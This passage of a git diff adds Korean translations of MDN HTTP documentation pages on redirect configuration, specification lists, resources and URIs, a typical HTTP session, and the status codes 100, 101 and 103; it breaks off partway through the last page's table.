+<pre class="notranslate">RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre>
+
+<p><code>images/</code> 폴더 내 모든 문서들은 다른 도메인으로 리다이렉트될 것입니다.</p>
+
+<p>일시적인 리다이렉트를 설정하고 싶지 않다면, 다른 리다이렉트를 설정하는데 여분의 파라메터(사용하고자 하는 HTTP 상태 코드 혹은 <code>permanent</code> 키워드)를 사용할 수 있습니다:</p>
+
+<pre class="notranslate">Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+</pre>
+
+<p><a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> 모듈도 리다이렉티를 만드는데 사용될 수 있습니다. 이것은 약간 더 복잡한데, 사용은 약간 더 복잡합니다.</p>
+
+<h3 id="Nginx">Nginx</h3>
+
+<p>Nginx에서는, 당신이 리다이렉트하고자 하는 컨텐츠에 대한 특정 서버 블록을 만들 수 있습니다:</p>
+
+<pre class="notranslate">server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}</pre>
+
+<p>폴더 혹은 페이지의 하위 집합에만 적용되는 리다이렉트를 원한다면, <code>rewrite</code> 디렉티브를 사용하시기 바랍니다:</p>
+
+<pre class="notranslate">rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+</pre>
+
+<h3 id="IIS">IIS</h3>
+
+<p>IIS에서는, 리다이렉션 구성을 위해 <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect">&lt;httpRedirect&gt;</a></code> 요소를 사용할 수 있습니다.</p>
+
+<h2 id="리다이렉션_루프">리다이렉션 루프</h2>
+
+<p>리다이렉션 루프는 성공적인 리다이렉션이 이전의 리다이렉션을 다시 따라갈 때 일어납니다. 다시 말해, 결코 끝나지 않으면, 끝까지 어떤 페이지도 볼 수 없는 루프가 존재한다는 말입니다.</p>
+
+<p>대부분의 경우, 이런 문제는 서버 측 문제이며 서버가 이를 감지할 수 없다면, {{HTTPStatus("500")}} <code>Internal Server Error</code>를 회신할 것입니다. 서버 구성을 수정한 직후에 그런 오류를 보게 된다면, 그것은 리다이렉션 루프일 가능성이 큽니다.</p>
+
+<p>때로는, 서버가 그것을 감지하지 않을 때도 있을 겁니다: 전체적인 그림을 모르는 몇 개의 서버에 리다이렉션 루프가 행해지기 때문입니다. 이런 경우, 브라우저가 이를 감지하고 오류 메시지를 보여줄 것입니다. 파이어폭스는 다음과 같이 디스플레이하게 됩니다:</p>
+
+<pre class="bz_comment_text notranslate" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete.</pre>
+
+<p>반면, 크롬은 다음과 같이 디스플레이합니다:</p>
+
+<pre class="notranslate">This Webpage has a redirect loop</pre>
+
+<p>모든 경우에, 사용자가 할 수 있는 일은 그리 많지 않습니다(사용자 측에서 캐시 혹은 쿠키의 불일치와 같은 어떤 변화를 주지 않은 이상말이죠).</p>
+
+<p>리다이렉션 루프는 사용자 경험을 완전히 망쳐놓기에 리다이렉션 루프를 피하는 것은 대단히 중요합니다.</p>
diff --git a/files/ko/web/http/resources_and_specifications/index.html b/files/ko/web/http/resources_and_specifications/index.html
new file mode 100644
index 0000000000..9d7ccbee70
--- /dev/null
+++ b/files/ko/web/http/resources_and_specifications/index.html
@@ -0,0 +1,242 @@
+---
+title: HTTP 리소스와 명세
+slug: Web/HTTP/Resources_and_specifications
+translation_of: Web/HTTP/Resources_and_specifications
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP는 1990년 초에 처음으로 명세되었습니다. 확장성을 염두에 두고 설계하였고, 해를 거듭하면서 더 많은 추가 사항들이 세상에 나왔습니다; 이런 일로 많은 명세서를 통해 세상에 뿌려진 명세들이 나오게 되었습니다(실험되다가 폐기된 확장들 가운데에서도). 이 페이지에서는 HTTP와 관련해 의미가 있는 리소스들을 나열하고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+   <th scope="col">상태</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{rfc(7230)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7231)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7232)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7233)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7234)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5861)}}</td>
+   <td>HTTP Cache-Control Extensions for Stale Content</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7235)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6265)}}</td>
+   <td>HTTP State Management Mechanism<br>
+    <em>Defines Cookies</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td>
+   <td>Cookie Prefixes</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td>
+   <td>Same-Site Cookies</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2145)}}</td>
+   <td>Use and Interpretation of HTTP Version Numbers</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6585)}}</td>
+   <td>Additional HTTP Status Codes</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7538)}}</td>
+   <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7725)}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2397)}}</td>
+   <td>The "data" URL scheme</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(3986)}}</td>
+   <td>Uniform Resource Identifier (URI): Generic Syntax</td>
+   <td>Internet Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5988)}}</td>
+   <td>Web Linking<br>
+    <em>Defines the {{HTTPHeader("Link")}} header</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td>
+   <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td>
+   <td>Informational (Expired)</td>
+  </tr>
+  <tr>
+   <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td>
+   <td>HTTP Client Hints</td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7578)}}</td>
+   <td>Returning Values from Forms: multipart/form-data</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6266)}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2183)}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br>
+    <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7239)}}</td>
+   <td>Forwarded HTTP Extension</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6455)}}</td>
+   <td>The WebSocket Protocol</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5246)}}</td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.2<br>
+    <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td><a href="https://tlswg.github.io/tls13-spec/)">Draft spec</a></td>
+   <td>The Transport Layer Security (TLS) Protocol Version 1.3<br>
+    <em>Once ready, this protocol will supersede TLS 1.2.</em></td>
+   <td>IETF Draft</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2817)}}</td>
+   <td>Upgrading to TLS Within HTTP/1.1</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7540)}}</td>
+   <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7541)}}</td>
+   <td>HPACK: Header Compression for HTTP/2</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7838)}}</td>
+   <td>HTTP Alternative Services</td>
+   <td>On the standard track</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7301)}}</td>
+   <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br>
+    <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6454)}}</td>
+   <td>The Web Origin Concept</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CORS")}}</td>
+   <td>Cross-Origin Resource Sharing</td>
+   <td>{{Spec2("CORS")}}</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7034)}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+   <td>Informational</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6797)}}</td>
+   <td>HTTP Strict Transport Security (HSTS)</td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Upgrade Insecure Requests")}}</td>
+   <td>Upgrade Insecure Requests</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSP 1.0")}}</td>
+   <td>Content Security Policy 1.0<br>
+    <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td>
+   <td>Specifying legacy document modes*<br>
+    <em>Defines X-UA-Compatible</em></td>
+   <td>Note</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5689)}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br>
+    <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td>
+   <td>Proposed Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2324)}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td>
+   <td>April 1st joke spec</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7168)}}</td>
+   <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td>
+   <td>April 1st joke spec</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG")}}</td>
+   <td>HTML<br>
+    <em>Defines extensions of HTTP for Server-Sent Events</em></td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/web/http/resources_and_uris/index.html b/files/ko/web/http/resources_and_uris/index.html
new file mode 100644
index 0000000000..bca2c78223
--- /dev/null
+++ b/files/ko/web/http/resources_and_uris/index.html
@@ -0,0 +1,27 @@
+---
+title: Resources and URIs
+slug: Web/HTTP/Resources_and_URIs
+tags:
+  - HTTP
+  - Overview
+  - Reference
+translation_of: Web/HTTP/Resources_and_URIs
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP는 브라우저 혹은 사용자 에이전트에게 인터넷 상 다른 리소스와의 통신을 허용합니다: 이를 위해 브라우저에는 자원의 신분(<em>identity)</em>와 위치(<em>location)</em>가 필요합니다. 이 두 비트의 정보는 {{glossary("URI")}}로 설명됩니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></dt>
+ <dd>URI와 웹에서의 자원 접근 방법</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URIs</a></dt>
+ <dd>A specific kind of URIs, data URIs, embed the resource itself inside the identifier.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">www 와non-www URL 중에서 선택하기</a></dt>
+ <dd>도메인에 접두사로 www을 사용해야할지 말지에 대한 조언을 제공합니다. 이 글에서는 선택에 대한 결과와 과정 또한 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a></dt>
+ <dd>MIME 미디어 타입은 특정 자원이 어떤 종류의 문서인지 정의합니다. 이 글에서는 웹에서 사용할 수 있는 가장 유용한 MIME 타입과 구문을 제공합니다.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">Complete list of MIME type</a></dt>
+ <dd>웹 개발자에게 유용한 포괄적인 MIME 타입 목록.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Separating_identity_and_location_of_a_resource">Separating identity and location of a resource: the Alt-Svc header</a></dt>
+ <dd>신분(<em>identity)</em>와 위치(<em>location)</em> 둘 다 URL에 기술되더라도 둘의 개념은 다르며 둘을 구분하는 것은 때때로 유용합니다.이 글에서는 {{HTTPHeader("Alt-Svc")}} 헤더에 대해 소개합니다.</dd>
+</dl>
diff --git a/files/ko/web/http/session/index.html b/files/ko/web/http/session/index.html
new file mode 100644
index 0000000000..b768adb30c
--- /dev/null
+++ b/files/ko/web/http/session/index.html
@@ -0,0 +1,159 @@
+---
+title: A typical HTTP session
+slug: Web/HTTP/Session
+translation_of: Web/HTTP/Session
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP와 같은 클라이언트-서버 프로토콜에서, 세션은 다음의 세 가지 과정으로 이루어집니다:</p>
+
+<ol>
+ <li>클라이언트가 TCP 연결을 수립합니다(또는 전송 계층이 TCP가 아닌 다른 적당한 연결로).</li>
+ <li>클라이언트는 요청을 전송한 뒤 응답을 기다립니다.</li>
+ <li>서버는 요청에 대해 처리하고 그에 대한 응답을 상태 코드 그리고 요청에 부합하는 데이터와 함께 돌려보냅니다.</li>
+</ol>
+
+<p>HTTP/1.1부터는, 세번째 과정 이후 클라이언트가 해당 시점에 또 다른 요청을 보낼 수 있도록 연결을 더 이상 닫지 않습니다: 그러므로 두번째, 세번째 과정이 몇 번에 걸쳐 일어날 수 있습니다.</p>
+
+<h2 id="연결_수립">연결 수립</h2>
+
+<p>클라이언트-서버 프로토콜에서, 클라이언트는 연결을 수립합니다. HTTP에서 연결을 여는 것은, 보통의 경우 TCP인, 기본적인 전송 계층 내에서 연결을 수립하는 것을 뜻합니다.</p>
+
+<p>TCP를 이용할 경우, 컴퓨터 상의 HTTP 서버를 위한 기본 포트는 80인데, 8000 혹은 8080처럼 다른 포트들도 자주 사용되곤 합니다. 요청을 위한 페이지 URL은 도메인 이름과 포트 번호 둘 다 포함하는데, 포트 번호가 80일 경우 생략 가능합니다. 좀 더 자세한 내용은 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a>을 참고하시기 바랍니다.</p>
+
+<div class="note"><strong>기억하세요:</strong> 클라이언트-서버 모델은 서버로 하여금 명시적인 요청없이 클라이언트로 데이터를 전송하는 것을 허용하지 않습니다. 이런 문제에 대한 해결책으로, 웹 개발자들은 몇 가지 기술을 사용합니다: {{domxref("XMLHTTPRequest")}} 혹은 {{domxref("Fetch")}} API를 통해 주기적으로 서버에 핑하기, HTML <a href="/en/WebSockets" title="en/WebSockets">웹소켓 API</a>, 혹은 그와 유사한 프로토콜 사용</div>
+
+<h2 id="클라이언트_요청_전송">클라이언트 요청 전송</h2>
+
+<p>연결이 한번 수립되고 나면, 사용자-에이전트는 요청을 보낼 수 있습니다(사용자-에이전트는 일반적으로 웹 브라우저를 말하지만, 예를 들자면 crawler와 같이 무엇이든 될 수 있습니다). 클라이언트 요청은 세 가지 블록으로 나누어진, CRLF(라인 피드를 따르는 캐리지 리턴)로 구분된 텍스트 지시자들로 이루어집니다:</p>
+
+<ol>
+ <li>첫번째 줄은 파라메터가 따르는 요청 메서드를 포함합니다:<br>
+  The first line contains a request method followed by its parameters:
+  <ul>
+   <li>문서의 경로, 즉 프로토콜과 도메인 이름을 제외한 절대 URL</li>
+   <li>사용중인 HTTP 프로토콜 버전</li>
+  </ul>
+ </li>
+ <li>바로 다음 줄들은 각각 특정 헤더를 나타내는데, 데이터의 종류가 적합한지(예를 들어, 언어는 무엇인지, MIME 타입은 무엇인지 등) 혹은 서버의 동작을 수정하는 몇 가지 데이터(예를 들어, 이미 캐시되어 있는 경우 응답을 전송하지 않는다든지 하는) 등에 관한 몇 가지 정보를 서버에게 제공합니다. 이런 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.</li>
+ <li>마지막 블록은 부가적인 데이터 블록으로, 더 많은 데이터를 포함하며 주로 POST 메서드에 의해 사용됩니다.</li>
+</ol>
+
+<h3 id="요청_예제">요청 예제</h3>
+
+<p>develper.mozilla.org, 즉 <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a>의 최상위 페이지를 가져오도록 요청하고, 가능하다면 서버에게 사용자-에이전트가 해당 페이지에 대해 프랑스어로 된 페이지를 원한다고 알려줍니다:</p>
+
+<pre>GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+</pre>
+
+<p>헤더 블록으로부터 데이터 블록을 구분짓는, 첫번째 빈줄에 주목하세요. 헤더 중에 <code>Content-Length:</code> 헤더가 없으므로, 데이터 블록은 비어있고 서버는 헤더의 마지막을 나타내는 빈 줄을 받는 즉시 요청을 처리할 수 있습니다.</p>
+
+<p>다음은 결과 전송 형식입니다:</p>
+
+<pre>POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue
+</pre>
+
+<h3 id="요청_메서드">요청 메서드</h3>
+
+<p>HTTP는 주어진 자원에 대해 실행되길 바라는 동작을 가리키는 <a href="/en-US/docs/Web/HTTP/Methods">요청 메서드</a> 집합을 정의합니다. 그것들이 명사가 될 수 있으지라도, 이 요청 메서드들은 때때로 HTTP 동사로써 참조됩니다. 일반적으로 대부분의 요청은 <code>GET과</code> <code>POST입니다</code>:</p>
+
+<ul>
+ <li>{{HTTPMethod("GET")}} 메서드는 지정된 자원의 표시를 요청합니다. <code>GET</code>을 사용하는 요청은 데이터를 가져오는 것 외에는 할 수 없습니다.</li>
+ <li>{{HTTPMethod("POST")}} 메서드는 서버에 데이터를 전송하여 서버가 상태를 바꾸도록 만듭니다. 이것은 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a>에서 자주 사용되는 메서드입니다.</li>
+</ul>
+
+<h2 id="서버_응답의_구조">서버 응답의 구조</h2>
+
+<p>연결된 에이전트가 자신의 요청을 전송하고 난 뒤에, 웹 서버가 그것을 처리하고 최종적으로 응답을 돌려보내게 됩니다. 클라이언트 요청과 유사하게, 서버 응답은 세 개의 다른 블록으로 나누어진, CRLF로 구분된 텍스트 지시자들로 형성됩니다:</p>
+
+<ol>
+ <li><em>상태 줄</em>인 첫번째 줄은 상태 요청(그리고 인간이 읽을 수 있는 텍스트 내에서의 의미)이 따르도록 사용된 HTTP 버전의 acknowledgment로 구성됩니다.</li>
+ <li>다음 줄들은 각각 특정 HTTP 헤더를 나타는데, 전송되는 데이터에 관한 정보(이를테면, 타입, 데이터 크기, 사용된 압축 알고리즘, 캐시에 대한 힌트 등)를 클라이언트에게 제공합니다. 클라이언트의 요청에 대한 HTTP 헤더 블록과 유사하게, 이 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.</li>
+ <li>마지막 블록은 데이터 블록으로 (존재한다면) 데이터를 포함합니다.</li>
+</ol>
+
+<h3 id="응답_예제">응답 예제</h3>
+
+<p>웹 페이지의 성공적인 수신:</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <em><strong>(here comes the 29769 bytes of the requested web page)</strong></em>
+
+</pre>
+
+<p>요청 자원이 영구적으로 옮겨졌다는 내용의 알림</p>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the user-agent will fetch it)</em></strong>
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em>
+
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
+&lt;html&gt;&lt;head&gt;
+&lt;title&gt;301 Moved Permanently&lt;/title&gt;
+&lt;/head&gt;&lt;body&gt;
+&lt;h1&gt;Moved Permanently&lt;/h1&gt;
+&lt;p&gt;The document has moved &lt;a href="<a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a>"&gt;here&lt;/a&gt;.&lt;/p&gt;
+&lt;hr&gt;
+&lt;address&gt;Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80&lt;/address&gt;
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+
+<p>요청된 자원이 존재하지 않는다는 내용의 알림</p>
+
+<pre>HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+&lt;!DOCTYPE html... <strong><em>(contains a site-customized page helping the user to find the missing resource)</em></strong>
+
+</pre>
+
+<h3 id="응답_상태_코드">응답 상태 코드</h3>
+
+<p><a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a>는 특정 HTTP 요청이 성공적으로 끝났는지 아닌지를 가르킵니다. 응답은 다섯가지 계층 내로 그룹화됩니다: 정보를 제공하는 응답, 성공적인 응답, 리다이렉트, 클라이언트 오류, 그리고 서버 오류.</p>
+
+<ul>
+ <li>{{HTTPStatus(200)}}: 성공. 요청이 성공했다는 것을 의미합니다.</li>
+ <li>{{HTTPStatus(301)}}: 영구적으로 옮겨짐. 이 응답 코드는 요청된 자원의 URI가 변경되었다는 것을 의미합니다.</li>
+ <li>{{HTTPStatus(404)}}: 찾을 수 없음. 서버가 요청된 자원을 찾을 수 없음을 의미합니다.</li>
+</ul>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a></li>
+</ul>
diff --git a/files/ko/web/http/status/100/index.html b/files/ko/web/http/status/100/index.html
new file mode 100644
index 0000000000..ed01c3f3a9
--- /dev/null
+++ b/files/ko/web/http/status/100/index.html
@@ -0,0 +1,46 @@
+---
+title: 100 Continue
+slug: Web/HTTP/Status/100
+tags:
+  - HTTP
+  - Informational
+  - Status code
+translation_of: Web/HTTP/Status/100
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>100 Continue</code></strong> 정보 상태 응답 코드는 클라이언트가 서버로 보낸 요청에 문제가 없으니 다음 요청을 이어서 보내도 된다는 것을 의미합니다. 만약 클라이언트의 작업이 완료되었다면 이 응답은 무시해도 됩니다.</p>
+
+<p>클라이언트가 서버로 하여금 이를 검토하게 하려면 첫 번째 요청에서 {{HTTPHeader("Expect")}}<code>: 100-continue</code>를 헤더로 보내야 합니다. 이후, 클라이언트는 본문을 보내기 전에 서버가 <code>100 Continue</code> 상태 코드로 응답하길 기다려야 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">100 Continue</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.100")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Expect")}}</li>
+ <li>{{HTTPStatus(417)}}</li>
+</ul>
diff --git a/files/ko/web/http/status/101/index.html b/files/ko/web/http/status/101/index.html
new file mode 100644
index 0000000000..7402c1b43a
--- /dev/null
+++ b/files/ko/web/http/status/101/index.html
@@ -0,0 +1,52 @@
+---
+title: 101 Switching Protocols
+slug: Web/HTTP/Status/101
+tags:
+  - HTTP
+  - HTTP Status Code
+  - Informational
+  - Reference
+  - WebSockets
+translation_of: Web/HTTP/Status/101
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>101 Switching Protocols</strong></code>는 클라이언트가 {{HTTPHeader("Upgrade")}} 헤더를 통해 요청한 것에 따라 서버가 프로토콜을 바꾼다는 것을 알려주는 응답 코드입니다.</p>
+
+<p>서버는 어떤 프로토콜로 바꾸는지를 응답의 {{HTTPHeader("Upgrade")}} 헤더에 담습니다. 구체적인 절차는 <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">프로토콜 업데이트 메커니즘</a>에 기술되어 있습니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">101 Switching Protocols</pre>
+
+<h2 id="예제">예제</h2>
+
+<p><code><strong>101 Switching Protocols</strong></code>는 <a href="/ko/docs/Web/API/WebSockets_API">WebSockets</a>와 함께 사용할 수 있습니다.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li>
+</ul>
diff --git a/files/ko/web/http/status/103/index.html b/files/ko/web/http/status/103/index.html
new file mode 100644
index 0000000000..0f31f3a62f
--- /dev/null
+++ b/files/ko/web/http/status/103/index.html
@@ -0,0 +1,43 @@
+---
+title: 103 Early Hints
+slug: Web/HTTP/Status/103
+translation_of: Web/HTTP/Status/103
+---
+<p>{{HTTPSidebar}}{{Draft}}</p>
+
+<p>HTTP <strong><code>103 Early Hints</code></strong> 정보 상태 응답 코드는 서버가 응답을 준비하는 동안에도 사용자 에이전트가 자원을 미리 읽어들일 수 있도록, 주로 {{HTTPHeader("Link")}} 헤더와 함께 사용됩니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">103 Early Hints</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
